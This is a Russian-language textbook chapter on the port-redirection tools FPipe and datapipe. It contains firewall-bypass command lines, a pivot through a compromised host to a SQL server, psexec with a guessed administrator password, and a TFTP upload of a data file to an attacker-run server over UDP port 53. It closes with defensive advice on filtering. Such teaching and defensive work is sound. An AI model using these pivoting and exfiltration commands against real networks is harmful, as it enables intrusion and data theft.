Реализация
Наиболее простые сервисные программные средства в мире Unix легко распространяются в исходном коде. Это дает возможность пользователям адаптировать программу к разнообразным аппаратным платформам и версиям Unix, используя один и тот же вариант утилиты datapipe.
Увеличение функциональных возможностей утилиты FPipe требует указания еще нескольких ключей командной строки:
C:\>fpipe -h -?/-h - shows this help text (показывает этот текст справки) -c - maximum allowed simultaneous TCP connections. Default is 32 (максимальное разрешенное количество одновременных TCP-подключений. Значение по умолчанию - 32) -i - listening interface IP address (IP-адрес прослушиваемого интерфейса) -l - listening port number (номер порта прослушивания) -r - remote port number (номер удаленного порта) -s - outbound source port number (выходящий номер порта отправителя) -u - UDP mode (режим UDP) -v - verbose mode (многословный режим)
В качестве простой утилиты перенаправления порта FPipe работает подобно datapipe:
$./datapipe 9080 80 www.google.com
Ниже приводится эквивалентный вызов утилиты FPipe:
C:\>fpipe -l 9080 -r 80 www.google.com Pipe connected: In: 127.0.0.1:1971 --> 127.0.0.1:9080 Out: 192.168.0.184:1972 --> 216.239.33.101:80
В отличие от datapipe, утилита FPipe работает не в фоновом режиме. Она будет продолжать сообщать о подключениях, пока вы не нажмете сочетание клавиш CTRL-C. Заметьте, что FPipe также указывает равноправные IP-адрес и номер порта отправителя каждого подключения. Параметр -s утилиты FPipe позволяет использовать преимущества более детальной спецификации портов.
C:\>fpipe -l 139 -r 139 -s 88 192.168.97.154
Этот пример сначала может показаться тривиальным. В конце концов, какая польза от перенаправления одного порта NetBIOS на другой? Ценность заключается в том, что весь SMB-трафик после перенаправления порта имеет номер порта отправителя - 88. Подобная уловка, связанная с портом отправителя, позволяет обойти неверно сконфигурированные брандмауэры. Другие хорошие порты отправителя, которые можно попробовать использовать для этих целей, имеют номера 20, 25, 53 и 80. В разделе "Пример из жизни. Пакетные фильтры, порты и проблемы" далее в этой лекции рассказывается, почему изменение номера порта отправителя позволяет обходить правила сетевого доступа.
Параметр -i становится полезным на компьютерах с несколькими сетевыми адаптерами (multi-homed system), когда вы хотите указать определенный интерфейс для прослушивания.
C:\>fpipe -l 80 -r 22 -i 10.17.19.42 192.168.97.154
Такая функция весьма полезна на Web-серверах. Например, Web-сервис IIS-сервера может быть связан с определенным адаптером, но порт 80 разрешен для всех интерфейсов. Установите FPipe на прослушивание одного из других интерфейсов, и порт 80 будет ваш.
Примечание. В отличие от системы Unix, Windows не требует привилегированного доступа для открытия сокета на зарезервированном порту (это номера портов ниже 1024). В системе Unix только учетные записи, эквивалентные привилегированному доступу (root), могут открыть порт 80.
Пример из жизни. Перенаправление портов
Инструменты перенаправления портов процветают за счет широкого применения техники Port Hopping. Используйте средства перенаправления портов, чтобы создать альтернативные порты для установленного сервиса на локальном хосте localhost, переадресуйте запросы, идущие к локальному хосту на альтернативный сервер и проложите подключения через брандмауэр.
Локальные перенаправления. Программные средства перенаправления портов могут использоваться для назначения сервису альтернативного порта. Для администраторов Unix этот совет звучит как бесполезный, неэлегантный шаг. В конце концов, порт прослушивания для большинства сервисов Unix можно изменить в текстовом файле. В системах Windows единственное спасение - изменить установку системного реестра, если она существует, или использовать утилиту перенаправления портов. Например, нетрудно изменить порт прослушивания для сервера терминалов Windows (Windows Terminal Server), модифицировав установку системного реестра или использовав утилиту FPipe:
C:\>fpipe -l 22 -r 3389 localhost
Это позволяет вам открыть единственный порт на брандмауэре для удаленного администрирования ваших систем SSH и сервера терминалов (Terminal Server), назначая обоим сервисам один и тот же порт.
Если вы предпочитаете использовать для шлюза систему Linux, вы могли бы установить правило перенаправления портов в iptables для сервера терминалов, находящегося позади шлюза. В качестве альтернативы используйте утилиту datapipe, чтобы переслать входящие подключения на порт с номером 3389 к серверу терминалов.
$./datapipe 3389 3389 172.16.19.12
Переадресация клиента. Мы уже демонстрировали перенаправление портов для Web-клиента. Более насущный пример - это использование перенаправления порта для предварительно скомпилированных средств атаки (exploit). Программа взлома позволяет пользователю самому выбирать и указывать адрес цели (IP-адрес), но не всегда позволяет выбирать порт. Пусть spork - программа взлома IIS для атаки через порт 80. Во время сканирования утилитой nmap вы обнаруживаете IIS-сервер, использующий порт 7070. Инструмент перенаправления портов решает проблему несоответствия портов. Из двух методов, приведенных ниже, выберите тот, который подходит для вашей системы:
C:\>fpipe -l 80 -r 7070 www.target.com $ ./datapipe 80 7070 www.target.com
Затем выполните программу spork для взлома локального хоста localhost. Она предполагает, что портом назначения является порт 80. Утилита FPipe (или datapipe) принимает подключение к порту 80 и затем пересылает данные на порт 7070 на узле www.target.com.
C:\>spork localhost
Эта методика также используется, чтобы обойти ограничения брандмауэра. Например, вслед за наплывом вирусов-червей IIS в 2001 г., находчивые администраторы блокировали выходящие (outbound) запросы к UDP-порту 69 (сервис TFTP - Trivial FTP). Попробуйте использовать режим UDP утилиты FPipe, чтобы перенаправить TFTP-запросы через UDP-порт 53, обычно зарезервированный для DNS-трафика. В системах Windows клиент TFTP не разрешит вам указать альтернативный порт назначения. Следовательно, вы должны установить локальное перенаправление порта для TFTP-клиента, переправив запросы к вашему модифицированному TFTP-серверу. Не забудьте указать параметр -u для режима UDP:
C:\>fpipe -l 69 -r 53 -u 192.168.0.116 C:\>tftp -i localhost PUT researchdata.zip
Ваш собственный TFTP-сервер прослушивает UDP-порт 53 на хосте 192.168.0.116. Эти две команды выполнены с сервера позади брандмауэра, а файл researchdata.zip загружен в удаленный компьютер - и все это с использованием порта, обычно ассоциирующегося с разрешением имен.
Двойная переадресация. Этот сценарий задействует четыре хоста: A, B, C и D. Хосты A и B - собственные системы взломщика. Другими словами, никакие программы взлома не потребовались для получения доступа к этим хостам. Хосты C и D - системы жертвы, отделенные от взломщика брандмауэром. Хост C является Web-сервером. Хост D, конечная цель атаки, является базой данных SQL. Этот сценарий должен продемонстрировать, как единственно уязвимое место на Web-сервере может быть использовано для расширения возможностей его дискредитации. Взломщик способен просматривать произвольные файлы на Web-сервере, включая файл, который содержит имя пользователя базы данных и его пароль. Взломщик может даже выполнять произвольные команды на Web-сервере. Однако база данных была чрезвычайно хорошо защищена, ведь она содержит информацию, касающуюся кредитных карточек. Поэтому открыты были только порты 445 (SMB) и 1433 (SQL).
Следующая иллюстрация дает общее представление о сети, которая является целью для взлома.
Хост A является системой Windows 2000 с клиентом управления базой данных Microsoft SQL. Клиент SQL, в конечном счете, соединится с базой данных SQL, расположенной на хосте D.
Хост B выполняет утилиту FPipe. Этот хост не обязан быть отдельным физическим хостом. В системе Windows есть SQL-клиенты и утилита FPipe, в то время как в Linux - SQL-клиенты и утилита datapipe. Хост B мог бы даже быть виртуальной системой VMware. Обратите внимание, что можно назначить альтернативный порт получателя в клиенте SQL, но мы должны использовать трюк с портом отправителя!
Брандмауэр разрешает выход в сеть для FTP, электронной почты и Web-сервисов через TCP-порты 21, 25 и 80.
Хост C представляет собой комбинацию FTP и почтового сервера, защищенных брандмауэром. Представьте себе, что на хосте C выполняется уязвимая версия WU-FTPD, которая допускает привилегированный доступ (root) из командной строки (это, действительно, реальная уязвимость). Чтобы сработала такая атака, должна существовать какая-нибудь уязвимость на сервере позади брандмауэра, которая дает нам возможность выполнить утилиту перенаправления порта. Еще раз, перенаправление порта - это метод, позволяющий обойти ограничения доступа к порту. Соответствующий программный код не является кодом атаки (exploit code).
Просматривая Web-сервер, мы обнаруживаем файл database.inc, который содержит строку подключения для IIS для связи с базой данных, хост D:
strDB = "Provider=SQLOLEDB;Data Source=financedb;Initial Catalog=Payroll; User Id=sa;Password=""
Хост D представляет собой систему Windows 2000, выполняющую SQL сервер 7.0. Эта система является нашей целью. Мы обнаруживаем строку подключения с Web-сервера, но мы не имеем никакого доступа к порту управления базой данных, 1433.
Нападение требует двух перенаправлений порта. Хост B прост. Мы только прослушиваем заданный по умолчанию SQL-порт и перенаправляем трафик нашему дискредитированному хосту, расположенному позади брандмауэра:
Host B: c:\> fpipe -l 1433 -r 80 <Host C>
Хост C требует некоторого размышления. Брандмауэр разрешает использовать порты 21, 25 и 80. К сожалению, портам 21 и 25 уже назначены сервисы. Мы не можем назначать два различных сервиса (FTP и datapipe, например) одному и тому же порту.
К счастью, в сети имеется Web-сервер, так что брандмауэр разрешает также использование порта 80. Мы будем прослушивать этот порт.
Host C: $ ./datapipe 80 1433 <Host D>
Далее, хост A открывает SQL-клиент и обращается к хосту B через порт 1433. Хост B переправляет это подключение на порт 80 на хосте C, который в свою очередь переправляет подключение к порту 1433 на хосте D. Готово! Произошло законченное SQL-подключение! Если бы брандмауэр заблокировал HTTP-трафик к хосту C (а такое возможно, так как он не является Web-сервером), то все случившееся было бы невозможно.
Дальнейшее расширение влияния. В предыдущем сценарии мы получили доступ на хост D через SQL-сервер, однако, хост D имел также открытый порт 445. Чтобы выполнить полный аудит системы, можно попробовать применить некоторые инструменты инвентаризации (enumeration), о которых шла речь в лекции "Средства ревизии Windows". Эти программные средства требуют доступа к портам Windows NetBIOS. Для начала можно было бы попробовать использовать утилиту FPipe для прослушивания порта 445 и переправить трафик, идущий через порт 80, но здесь есть загвоздка: Windows 2000 и XP используют порт 445 для NetBIOS и не позволяют этот порт закрывать. С другой стороны, мы не можем иметь два сервиса (FPipe и NetBIOS), назначенных на один и тот же номер порта. Похоже, что мы должны включить сеанс VMware с FreeBSD и использовать утилиту datapipe.
Host B: $ ./datapipe 445 80 <Host C>
Не имеет значения, является ли дискредитированный хост системой Unix или Windows, но на порте 80 нечего прослушивать, кроме нашей утилиты datapipe.
Host C: $ ./datapipe 80 445 <Host D>
До доступа к командной строке остается один шаг. Нам нужны имя пользователя и пароль. Возможно, он создан с помощью MS SQL-процедуры xp_cmdshell с командой net user, а возможно, пароль администратора - просто "password". Тогда мы выполняем утилиту psexec с хоста A через туннель, созданный перенаправлением порта:
Host A: c:\>psexec \\hostB -u administrator -p password "ipconfig /all"
эта строка запускает на выполнение программу ipconfig.exe на хосте D и показывает всю информацию о его сетевом адаптере. Детальную информацию об утилите psexec см. в лекции "Средства ревизии Windows".
Имеются и более простые методы доступа к базе данных SQL, такие как загрузка пакета Samba или SQL-клиента командной строки на дискредитированную систему. Мы только продемонстрировали манипуляцию с портами, которая действует прозрачно между клиентом и сервером, независимо от используемого протокола. На жаргоне Perl это звучит как TMTOWTDI - "There's More Than One Way To Do It!" (Существует не один способ сделать это!)
Пример из жизни. Пакетные фильтры, порты и проблемы
Основные пакетные фильтры разрешают или запрещают сетевой трафик, основываясь на IP-адресах и номерах портов. ipchains системы Linux и маршрутизаторы Cisco (минус "установленные" возможности) являются хорошими примерами устройств фильтрации пакетов. Они исследуют только четыре части TCP/IP-пакета.
- IP-адрес отправителя.
- Порт отправителя.
- IP-адрес получателя.
- Порт получателя.
Вы можете создать строгие правила, основанные на этих комбинациях. Например, так как Web-сервер должен получать трафик только через порты 80 и 443, администратор создает правила ipchains для исследования трафика, прибывающего из интернета, и разрешения проходить только такому трафику, который идет к TCP-портам получателя с номерами 80 и 443. При этом, например, доступ к порту получателя с номером 22 (протокол Secure Shell), будет блокирован. Обратите внимание на следующее различие. Если администратор откроет только TCP-порты 80 и 443, возникнет потенциальная проблема: что случится, когда прибывает пакет с порта отправителя с номером 80? Пакет проходит через брандмауэр в зависимости от порядка правил ipchains. Далее, что произойдет, если этот пакет имеет порт отправителя 80 и порт получателя 22? Произойдет неправомочный доступ к командной строке протокола Secure Shell!
Проблемы порта отправителя неожиданно возникают в нескольких службах. Начнем с упоминания службы FTP, которая, вероятно, является наиболее печально известной службой. Подключение FTP начинается прекрасно. Клиент подключается к серверу через порт 21. Затем возникают сложности. Если клиент начинает загружать файл, сервер инициирует передачу данных клиенту через порт 20. Тип пакета, который создает подключение, называется SYN-пакетом (в соответствии с типом флага, который содержит пакет). При передаче данных по FTP, сервер посылает SYN-пакет, и клиент поддерживает подключение. Пакетные фильтры исследуют SYN-пакеты, чтобы применить к ним свои правила. Следовательно, пакетный фильтр может запутаться в том, какая система запустила FTP-подключение, потому что трафик порождается во внутренней сети, а не в интернете. Во многих случаях, администраторы разрешают трафику с порта 20 входить в сеть, но забывают ограничить трафик, входящий на FTP-сервер.
Другими проблематичными службами являются также служба доменных имен DNS (Domain Name System), протокол SMTP (Server Message Transfer Protocol) и протоколы IPsec (Internet Protocol Security) и Kerberos. Службы DNS выполняются через TCP- и UDP-порт 53. Для разрешения имен доменов необходим только UDP-порт (хотя порт TCP иногда используется для поиска в больших пространствах имен). Однако если существует путаница в том, какие хосты требуют разрешения имен, внутренние или хосты интернета, TCP-порт 53 может оказаться открытым для всего мира.
Все пользуются серверами электронной почты и SMTP для уверенности в получении электронной почты. Сервер SMTP использует для получения электронной почты TCP-порт получателя 25, но вполне возможно, что правила брандмауэра по ошибке откроют порт 25 (для отправителя или получателя). Kerberos ни в коем случае не является новым протоколом, его использование возродилось в результате включения его в Windows 2000 подобно Франкенштейну. Теперь системные администраторы Windows могут устанавливать более безопасную зашифрованную связь, используя TCP-порт 88 и протокол IPsec. Порт 88 также подвергается путанице в определении отправителя/получателя.
Используйте параметр -s утилиты FPipe для указания исходящего номера порта отправителя, чтобы воспользоваться ненадежностью порта отправителя. Просто переадресуйте запрос через систему перенаправления порта и определите, отвечает ли удаленная служба. В данном случае, вы не меняете номер порта получателя; вместо этого вы изменяете номер порта отправителя для трафика, входящего в удаленную сеть.
C:\>fpipe -l 3389 -r 3389 -s 20 192.168.0.116
К сожалению, утилита datapipe не поддерживает опцию для изменения порта отправителя, но, по крайней мере, вы имеете исходный код утилиты!
Блокирование переназначений портов представляет собой метод обхода неадекватного управления сетевым доступом. Для системного администратора этот метод должен также иллюстрировать важность стратегии многослойной защиты, то есть применения резервных сетей, хостов и элементов управления приложениями к определенным проблемам защиты.
Вы не можете загрузить и применить заплату для предотвращения перенаправления данных. Но вы можете применять хорошие средства управления сетевым доступом. В отличие от изъянов, специфических для хостов, таких как переполнение буфера, атаки, связанные с перенаправлением данных, эксплуатируют сеть. Следовательно, нужно найти решение на сетевом уровне.
- Защита хоста. Очевидно, что если взломщик не может получить доступ к командной строке в системе, инструмент перенаправления порта не может использоваться для обхода списков управления доступом. Часть мантры, повторяемой любым системным администратором, должна быть следующей: "ставь заплаты, конфигурируй, проверяй".
- Фильтры доступа. Сильный брандмауэр или список управления доступом маршрутизатора должен начинаться с правила "все запрещено". Затем добавляются порты и службы по мере того, как они требуются для деловых целей. Кроме того, порты не должны открываться с доступом типа "карт-бланш". Порты 80 и 443 должны открываться только для Web-серверов, порт 25 нужно открывать только для серверов электронной почты.
- Выходные фильтры. Открытые серверы типа Web-серверов, всегда получают трафик. То есть Web-сервер не предугадывает, что вы хотите соединиться с ним, и переслать его домашнюю страницу на свой броузер; вы должны обратиться к нему. Из этого, естественно, следует, что Web-сервер никогда не должен устанавливать подключение, выходящее во внешнюю сеть (в интернет). Он должен получать трафик через порт 80, но сетевое устройство должно блокировать любые попытки подключения с Web-сервера на любой хост интернета.
Вы должны также избегать неправильных взаимных правил. Если ваша сеть использует Ipsec-туннелирование по порту TCP 88, вы должны гарантировать, что правила подключений имеют смысл. Например, неверное правило может выглядеть так (в псевдокоде):
allow (src ip ANY) and (tcp port 88)
Это правило позволяет любому пакету с IP-адресом, имеющим порт отправителя или порт получателя с номером 88, входить в сеть. Таким образом, этот набор правил разрешил бы пакету, имеющему порт отправителя 88 и порт получателя 139 (например) пересекать сеть. Корректное правило должно разрешать трафик к Ipsec-порту:
allow (src ip ANY) and (dst tcp port 88)
Помните, что данный тип проблемы также часто обнаруживается в службах FTP, SMTP и DNS.
<
